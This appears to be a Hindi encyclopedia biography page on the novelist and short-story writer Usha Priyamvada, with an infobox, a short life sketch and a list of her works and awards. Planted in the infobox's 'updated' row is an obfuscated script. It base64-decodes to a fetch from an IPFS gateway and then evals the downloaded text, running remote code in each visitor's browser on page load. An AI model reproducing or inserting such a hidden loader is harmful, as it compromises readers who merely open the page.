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10:36, 9 मार्च 2015 का अवतरण
उषा प्रियंवदा
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पूरा नाम | उषा प्रियंवदा |
जन्म | 24 दिसंबर, 1930 |
जन्म भूमि | कानपुर, उत्तर प्रदेश |
कर्म-क्षेत्र | उपन्यासकार, कहानीकार |
मुख्य रचनाएँ | 'ज़िंदगी और गुलाब के फूल', 'एक कोई दूसरा', 'पचपन खंभे', 'लाल दीवारें' आदि |
भाषा | हिन्दी |
विद्यालय | इलाहाबाद विश्वविद्यालय |
पुरस्कार-उपाधि | पद्मभूषण डॉ. मोटूरि सत्यनारायण पुरस्कार |
नागरिकता | भारतीय |
अन्य जानकारी | उषा प्रियंवदा की गणना उन कथाकारों में होती है, जिन्होंने आधुनिक जीवन की ऊब, छटपटाहट, संत्रास और अकेलेपन की स्थिति को पहचाना और व्यक्त किया है। |
अद्यतन | 16:06, 9 मार्च 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
उषा प्रियंवदा (अंग्रेज़ी: Usha Priyamvada) हिंदी की उन कथाकारों में हैं, जिनके उल्लेख के बिना हिंदी साहित्य का इतिहास पूरा नहीं होता। 24 दिसंबर 1930 को कानपुर में जन्मी उषा जी ने उच्च शिक्षा इलाहाबाद विश्वविद्यालय से हासिल की। अंग्रेज़ी की अध्येता रहीं उषा जी की लेखनी से हिंदी साहित्य कोश हमेशा समृद्ध होता रहा। उषा प्रियंवदा की गणना उन कथाकारों में होती है, जिन्होंने आधुनिक जीवन की ऊब, छटपटाहट, संत्रास और अकेलेपन की स्थिति को पहचाना और व्यक्त किया है। यही कारण है कि उनकी रचनाओं में एक ओर आधुनिकता का प्रबल स्वर मिलता है तो दूसरी ओर उसमें विचित्र प्रसंगों तथा संवेदनाओं के साथ हर वर्ग का पाठक तादात्म्य का अनुभव करता है।
प्रमुख कृतियाँ
- कहानी संग्रह
- 'ज़िंदगी और गुलाब के फूल'
- 'एक कोई दूसरा'
- 'मेरी प्रिय कहानियां'
- उपन्यास
- 'पचपन खंभे'
- 'लाल दीवारें'
- 'रुकोगी नहीं राधिका'
- 'शेष यात्रा'
- 'अंतर्वंशी'
सम्मान और पुरस्कार
- 2007 में केंद्रीय हिंदी संस्थान द्वारा पद्मभूषण डॉ. मोटूरि सत्यनारायण पुरस्कार से सम्मानित।
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टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख